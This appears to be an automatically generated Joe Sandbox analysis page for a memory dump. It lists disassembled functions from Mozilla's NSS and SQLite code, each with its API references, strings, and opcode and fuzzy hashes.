Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$Copy$AlgorithmCertTag_Zfree$Alloc_ArrayChainCurrentFindFromIdentitiesLayerPrivateThreadmemcpy
String ID:
API String ID: 4267785400-0
Opcode ID: a45f38ffed22204a85f7383e29887e7e16c21c8029e3e3b2ee1ab891c0f973d7
Instruction ID: abc49c8bb695980c2a678dd0ca8c2d16e2566cfa157b3cb64d70f53eeceeb1a0
Opcode Fuzzy Hash: a45f38ffed22204a85f7383e29887e7e16c21c8029e3e3b2ee1ab891c0f973d7
Instruction Fuzzy Hash: FFD1C0B1A843019FEF00CF28D981B5B77E4AF54718F08456DEC999B252E739E984CB93

Function 6B9C1B80 Relevance: 21.4, APIs: 14, Instructions: 415networkCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6B9C1BA0
PR_GetIdentitiesLayer.NSS3(?,00000000), ref: 6B9C1CBB
select.WSOCK32(00000000,?,?,?,00000000), ref: 6B9C1E6B
PR_GetIdentitiesLayer.NSS3(?,00000000,00000000,?,?,?,00000000), ref: 6B9C1EB2
__WSAFDIsSet.WSOCK32(?,?), ref: 6B9C1EC8
__WSAFDIsSet.WSOCK32(?,?,?,?), ref: 6B9C1EDB
__WSAFDIsSet.WSOCK32(?,?,?,?,?,?), ref: 6B9C1EEC
PR_IntervalToMicroseconds.NSS3(?), ref: 6B9C1F83
PR_SetError.NSS3(FFFFE897,00000000), ref: 6B9C209B
PR_Sleep.NSS3(?), ref: 6B9C20BD
WSAGetLastError.WSOCK32(00000000,?,?,?,00000000), ref: 6B9C20E5
PR_GetIdentitiesLayer.NSS3(?,00000000,00000000,?,?,?,00000000), ref: 6B9C2139
#7.WSOCK32(0000FFFF,0000FFFF,00001008,?,00000004), ref: 6B9C2153
WSAGetLastError.WSOCK32(0000FFFF,0000FFFF,00001008,?,00000004), ref: 6B9C2176

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: ErrorIdentitiesLayer$Last$IntervalMicrosecondsSleepValueselect
String ID:
API String ID: 975171332-0
Opcode ID: 215128f2b6ff4d009461bf93fea51cd6ca8f5f54f62c8f552792470cc32916d6
Instruction ID: a1c6aa70fe92e1a9229d84b5f48094129d55bd499a9a5ad67eb1cb82f111fef4
Opcode Fuzzy Hash: 215128f2b6ff4d009461bf93fea51cd6ca8f5f54f62c8f552792470cc32916d6
Instruction Fuzzy Hash: 30F1E271D012648BDB25CF24C8907AAB7BDEF46744F1080EAD919AB290D37CDB85CB63

Function 6BA83850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BA8389F
EnterCriticalSection.KERNEL32(?), ref: 6BA838B3
PR_Unlock.NSS3(?), ref: 6BA838F1
TlsGetValue.KERNEL32 ref: 6BA8390F
EnterCriticalSection.KERNEL32(?), ref: 6BA83923
PR_Unlock.NSS3(?), ref: 6BA83972
TlsGetValue.KERNEL32 ref: 6BA83996
EnterCriticalSection.KERNEL32(0000001C), ref: 6BA839AE
PR_Unlock.NSS3(?), ref: 6BA839DB
PR_Unlock.NSS3(?), ref: 6BA83A16

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

TlsGetValue.KERNEL32 ref: 6BA83A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6BA83A4E
PR_Unlock.NSS3(?), ref: 6BA83A77
PR_SetError.NSS3(00000000,00000000), ref: 6BA83A8F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: 7943a5a636e53fa9745b2c7f9e6bf33fd2c36f50dea4d0602c2fb3b024f43471
Instruction ID: 6a8133e55eeeb156841f91728db0be44d6a3ec6a77051dea88eb89b7d97f1e50
Opcode Fuzzy Hash: 7943a5a636e53fa9745b2c7f9e6bf33fd2c36f50dea4d0602c2fb3b024f43471
Instruction Fuzzy Hash: EC917A75C002189FDF10EF68D885AAEBBF4FF09314F0851A9EC55A7211E736E991CB91

Function 6BA8A9A0 Relevance: 21.2, APIs: 14, Instructions: 214COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BA8A9CA

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6BBA0B04,?), ref: 6BA8A9F7

Part of subcall function 6BA9B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6BB718D0,?), ref: 6BA9B095

PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA8AA0B
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6BA8AA33
PK11_GetInternalKeySlot.NSS3 ref: 6BA8AA55
PK11_Authenticate.NSS3(00000000,00000001,?), ref: 6BA8AA69
PORT_FreeArena_Util.NSS3(00000001,00000001), ref: 6BA8AAD4
PK11_ListFixedKeysInSlot.NSS3(?,00000000,?), ref: 6BA8AB18
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6BA8AB5A
PK11_FreeSymKey.NSS3(00000000), ref: 6BA8AB85
PK11_FreeSymKey.NSS3(00000000), ref: 6BA8AB99
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6BA8ABDC
PK11_FreeSymKey.NSS3(?), ref: 6BA8ABE9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6BA8ABF7

Part of subcall function 6BA8AC10: PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6BA8AB3E,?,?,?), ref: 6BA8AC35
Part of subcall function 6BA8AC10: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6BA8AB3E,?,?,?), ref: 6BA8AC55
Part of subcall function 6BA8AC10: PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6BA8AB3E,?,?), ref: 6BA8AC70
Part of subcall function 6BA8AC10: PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6BA8AC92
Part of subcall function 6BA8AC10: PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA8AB3E), ref: 6BA8ACD7

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_$Util$Free$Arena_Item_$Zfree$ArenaContextSlot$Alloc_AuthenticateBlockCipherCreateDecodeDestroyErrorFixedInitInternalKeysListLockPoolQuickSizecalloc
String ID:
API String ID: 2602994911-0
Opcode ID: ed1e4d32a7f6450d373cbbf1ab263d7485b6b9dc6f5545b1fe4b383005b5d5fb
Instruction ID: 31b27274c893632ce3c8675df96ff97db912e65126c598be3d000b04e8afe6b6
Opcode Fuzzy Hash: ed1e4d32a7f6450d373cbbf1ab263d7485b6b9dc6f5545b1fe4b383005b5d5fb
Instruction Fuzzy Hash: E671F2B1A08301ABDF00CF34DD81B1BB7A7AF84754F044A29F864976A0FB39DD848792

Function 6BA17BF0 Relevance: 16.4, APIs: 2, Strings: 7, Instructions: 2900COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000001,?), ref: 6BA17EB9

Strings

authorizer malfunction, xrefs: 6BA1A1CA, 6BA1A1CF
rows updated, xrefs: 6BA1A10F
O, xrefs: 6BA19326
no such column: %s, xrefs: 6BA1A1A0
not authorized, xrefs: 6BA1A1C0
cannot UPDATE generated column "%s", xrefs: 6BA19C34
ROWID, xrefs: 6BA19AD4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memset
String ID: O$ROWID$authorizer malfunction$cannot UPDATE generated column "%s"$no such column: %s$not authorized$rows updated
API String ID: 2221118986-2090817262
Opcode ID: 504978255f46d66773ebba8e386332f4b5781871027b27946cfea9d2f7419a0b
Instruction ID: 8e68273a6643dd43442ce77c7d92fa8cb027a55817a78a60f80e6ef171da42f5
Opcode Fuzzy Hash: 504978255f46d66773ebba8e386332f4b5781871027b27946cfea9d2f7419a0b
Instruction Fuzzy Hash: 6E536C70A0C3419FDB54CF28C480B1ABBF2BF89754F14895DE9998B351D779E886CB82

Function 6BB18FB0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BB190DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BB19118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BB1915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BB191C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6BB19209

Strings

3333, xrefs: 6BB1925E
UUUU, xrefs: 6BB19255

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: 3333$UUUU
API String ID: 4101233201-2679824526
Opcode ID: c09ff1e08b8884bc6d337368e66b5ac7acfddfa1a8775f72f683aa44bc02e781
Instruction ID: c37560fde0b469a7afae7dd8b85e831805a103ac1f196d0d48dbc1e9de8c613e
Opcode Fuzzy Hash: c09ff1e08b8884bc6d337368e66b5ac7acfddfa1a8775f72f683aa44bc02e781
Instruction Fuzzy Hash: 0FA19E72E001559FDB04CB68CC95BAEB7B5FB88324F094179E919A7342E739EC12CB91

Function 6BAD68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6BAD68FC
PR_EnterMonitor.NSS3 ref: 6BAD6924

Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090AB
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB090C9
Part of subcall function 6BB09090: EnterCriticalSection.KERNEL32 ref: 6BB090E5
Part of subcall function 6BB09090: TlsGetValue.KERNEL32 ref: 6BB09116
Part of subcall function 6BB09090: LeaveCriticalSection.KERNEL32 ref: 6BB0913F

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

PR_EnterMonitor.NSS3 ref: 6BAD693E
TlsGetValue.KERNEL32 ref: 6BAD6977
TlsGetValue.KERNEL32 ref: 6BAD69B8
PR_ExitMonitor.NSS3 ref: 6BAD6B1E
PR_ExitMonitor.NSS3 ref: 6BAD6B39
TlsGetValue.KERNEL32 ref: 6BAD6B62

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 6d3eb195eb3c9c9ac07ea1d852f9e3078a7442f2aa2f115e59398e5f4e24f602
Instruction ID: 07607ee0b47436655fee736c19006471bc763ec6fc0f80e80b4cc34183f0fc2c
Opcode Fuzzy Hash: 6d3eb195eb3c9c9ac07ea1d852f9e3078a7442f2aa2f115e59398e5f4e24f602
Instruction Fuzzy Hash: C1916874698600DBDF50CF6DC48066E7BA2FB87704B61C39AC8449B329D779D9C2CB82

Function 6BA609A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

memcmp.VCRUNTIME140(00000000,6BA49B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6BA49B8A,00000000,6BA42D6B), ref: 6BA609D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6BA49B8A,00000000,6BA42D6B), ref: 6BA609F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA49B8A,00000000,6BA42D6B), ref: 6BA60A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA49B8A,00000000,6BA42D6B), ref: 6BA60A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6BA49B8A,00000000,6BA42D6B), ref: 6BA60A48

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 13605b02bb71adfce9a4af3b250c83518dd91f72f0f0b29bbe01812d3251f711
Instruction ID: 2c5024e86be2a7a3d4c1738333b3f7d4395c52c9c5c7c4a3f4fb13db216b2071
Opcode Fuzzy Hash: 13605b02bb71adfce9a4af3b250c83518dd91f72f0f0b29bbe01812d3251f711
Instruction Fuzzy Hash: 5802BEB2D002049FEF108F64DD82BAB77B9EF48398F044568E915A7252F739E9D1CB91

Function 6BAD6BE0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6BAD6C2C

Part of subcall function 6BAD6E90: PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6BAD6BF7), ref: 6BAD6EB6
Part of subcall function 6BAD6E90: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6BB7FC0A,6BAD6BF7), ref: 6BAD6ECD
Part of subcall function 6BAD6E90: ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6BAD6EE0
Part of subcall function 6BAD6E90: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6BAD6EFC
Part of subcall function 6BAD6E90: PR_NewLock.NSS3 ref: 6BAD6F04
Part of subcall function 6BAD6E90: fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6BAD6F18
Part of subcall function 6BAD6E90: PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6BAD6BF7), ref: 6BAD6F30
Part of subcall function 6BAD6E90: PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6BAD6BF7), ref: 6BAD6F54

TlsGetValue.KERNEL32 ref: 6BAD6D93
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6BAD6BF7), ref: 6BAD6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6BAD6BF7), ref: 6BAD6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6BAD6FF8
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6BAD6FDB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Secure$Value$Lockfclosefopenftellfwrite
String ID: NSS_SSL_CBC_RANDOM_IV$NSS_SSL_REQUIRE_SAFE_NEGOTIATION
API String ID: 3032383292-3007362596
Opcode ID: 2d5aae53b134f591d668719e219f43078913ca0d79eaba11d01f09c505334ecc
Instruction ID: 1650f2814bc5535020df127221b89227ccdb5d48ac856f66eebfc0ebf91a887e
Opcode Fuzzy Hash: 2d5aae53b134f591d668719e219f43078913ca0d79eaba11d01f09c505334ecc
Instruction Fuzzy Hash: E471FE72948514ABDF288B2CC6A25383BA1E75F705F88015EDD978B391DB39E482CB52

Function 6BA20820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6BA211D2

Strings

authorizer malfunction, xrefs: 6BA21BD2
rows deleted, xrefs: 6BA217D2
not authorized, xrefs: 6BA2175E, 6BA21763
@, xrefs: 6BA20B17

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: ca094d98420ce07f853669011ca6489529240debb1a99fd278156954f2781c3d
Instruction ID: c9a61db01eecdaecb48707313f0e491ee1c98b18b07d49b52048b1f386452c2a
Opcode Fuzzy Hash: ca094d98420ce07f853669011ca6489529240debb1a99fd278156954f2781c3d
Instruction Fuzzy Hash: BDD27D70E04219DFDF24CF68C490BADBBF2BF49304F1881A9D415AB751D77AA996CB80

Function 6B9D1AE0 Relevance: 8.1, APIs: 5, Instructions: 642COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,00000030), ref: 6B9D1C89
memcmp.VCRUNTIME140(?,?,00000030), ref: 6B9D1D2A
sqlite3_free.NSS3(00000000), ref: 6B9D1FD5
sqlite3_free.NSS3(?), ref: 6B9D1FFD
sqlite3_initialize.NSS3 ref: 6B9D220F

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: memcmpsqlite3_free$sqlite3_initialize
String ID:
API String ID: 2547880192-0
Opcode ID: 51148c3d8833d75b780fc5ea822765b3326386be800abc3150949d948f9192a2
Instruction ID: 796243b57432aa2b9ced8f8c8b86522f6e95e9231f12910ee86c922152da34dc
Opcode Fuzzy Hash: 51148c3d8833d75b780fc5ea822765b3326386be800abc3150949d948f9192a2
Instruction Fuzzy Hash: 2B427A75A086109FD704DF29C985B2AB7F5FF89704F05889CE98A9B361D739EC81CB42

Function 6BAEC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6BAECEA5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 193ea065f561e7a055b87b433c4ee3629516b986ebc2ec5048b1b248962bb65f
Instruction ID: f5fe83eed08ddd2eee14c8aaa015ef30383b97cc0bb7b68b323e00dbc8195d02
Opcode Fuzzy Hash: 193ea065f561e7a055b87b433c4ee3629516b986ebc2ec5048b1b248962bb65f
Instruction Fuzzy Hash: 487172719087418FC704CF38C98062ABBE5FF89714F158A6DE4A9CB3A1E734D996CB91

Function 6BAB5B90 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 366COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6BAB5D55
memcpy.VCRUNTIME140(?,?,?), ref: 6BAB5D8B
PR_SetError.NSS3(FFFFD027,00000000), ref: 6BAB5F5C

Strings

UUUU, xrefs: 6BAB5FC6

Memory Dump Source

